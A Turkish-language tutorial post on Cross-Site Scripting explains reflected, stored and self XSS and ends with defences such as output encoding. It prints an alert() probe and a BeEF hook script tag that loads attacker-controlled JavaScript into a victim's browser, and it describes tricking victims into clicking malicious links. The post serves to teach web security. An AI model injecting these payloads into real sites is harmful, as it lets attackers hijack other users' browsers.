Cross-Site Scripting (XSS)
Bu açık SQL injection’un tersine sunucu tarafında değil istemci tarafında ortaya çıkar. HTTP request/response bölümünde HTTP response’un body’sinde ortaya çıkar. Internetin çalışma şekline kısaca bakalım. Tarayıcı( Browser) Web sitesine bir HTTP-request gönderir. Siteden tarayıcıya bir HTTP-response gelir. Browser bunu parse edip kullanıcıya sunar.
Bir HTTP response temelde 3 ana bölümden oluşur. HTML, CSS ve JavaScript.
HTML bir web sayfasının kas ve kemikleri, CSS kaşı, gözü, ten rengi diye benzetme yaparsak, JavaScript ise tüm vücuda hareket veren özelliğindir.
Hareket kabiliyeti JavaScript ile olduğu için HTML veya CSS bölümünde XSS değil, JavaScript kodunun olduğu yerde aranır.
Meşhur
<script>alert()</script>
bu yüzden vardır.
HTTP response’un belli bölümlerini kontrol edebiliyorsan, ortada sömürülebilecek bir zafiyet olabilir. Burada da web sitesine giden bir input çok önemli hale geliyor. Bu yüzden Document Object Manipulation(DOM) denilen tabir işin içine giriyor.
HTTP response içindeki html içeriği browser parse edeceği için, bu html içeriği de aslında browser için bir input oluyor.
Bu yüzden eğer ben siteye bir js kodunu input olarak girersem, backend buna bakmadan http response olarak dönecek. Browser bunu yorumlayıp çalıştıracak. Böylece sitede ben kendi yazdığım js kodunu çalıştırabilmiş olacağım. Burada SQL injection’da olduğu gibi server tarafında bir şeyler yapmış olmuyoruz, browser’ı kandırıyoruz, farka dikkat edelim.
Burada bir parantez acalim; Beef araci kullanilabilecek bir araç. Beef Framework XSS exploitation framework olarak geçiyor.
Her yerde <script>alert(1)</script>
calistirmak yerine Beef’in verdiği scripti calistirarak bulduğumuz bu zafiyeti sömürebiliriz.
<script src=”http://127.0.0.1:3000/hook.js></script>
Burada Beef Chrome Extensions kurdurtarak, screenshot’unu alabilmemize olanak sağlar. Screenshot yaptırabileceklerimizden sadece biri.
Tabiki tespit ayrı exploit ayrıdır. Kendi kullandığımız tarayıcı üstünde bu zafiyeti bulduysak, reflected XSS denir.
Ben bu hikayeyi başka bir kullanıcıya yaptırırsam, hikaye çok ilginç bir hal alıyor.
Bu nasıl olabilir? Kurban zararlı (Malicious) bir URL’e tıklar. Bu URL kullanıcıyı XSS zafiyeti olan bir siteye gönderir. Böylece daha önce kendimizde deneyimlediğimiz request-response döngüsünü bir başka kullanıcıya yaptırmış oluruz. Yani requesti kurbana yaptırmış oluruz.
Birçok sitede bir kullanıcının girdiği bir input başka bir kullanıcının tarayıcısında görüntülenir. Bir kullanıcının bir sitede girdiği inputu web uygulaması veri tabanına gönderir. Bu web uygulamasının başka bir servisi veritabanından veriyi alıp diğer kullanıcıların tarayıcılarında gösterir. Böylece teorik olarak zararlı kodu diğer kullanıcıların da etkileneceği şekilde inject etmiş oluruz. Mesela, bir e-ticaret sitesinde bir kullanıcının girdiği bir yorum bizim de anasayfamıza düşer. Eğer bir kullanıcı bu yorumu yaparken bu zafiyetten faydalanırsa, diğer kullanıcıların tarayıcılarında da kendi zararlısını çalıştırabilir. İşte buna da Stored XSS denir.
Bir zafiyet buldum ama kendimden başka kimseye etkisi yok dediğimizde de Self XSS bulmuş oluyoruz.
Konu çok fazla dala ayrılıyor. HTML Context, JSinline Context, href Context vs. her biri için ayrı ayrı karakter encode etmek gerekiyor. Bu da XSS’i daha zor ve çekici kılıyor tabi ki.
DOM based XSS’e bir sonraki yazımda değineceğim. Burada korunmak için Mehmet İnce’nin tavsiyesi,
- Input Validation
- Output Encoding
Inputta encode etmenin ise bir manası kalmıyor.
Yazılım geliştirirken encoder kütüphaneleri de kullanılması da ayrı bir korunma yöntemi.
Not: Bu yazı Mehmet İnce’nin web güvenliği videolarından birinden aldığım notları içeriyor. Daha detaylı bilgi için Youtube kanalina bakabilirisiniz.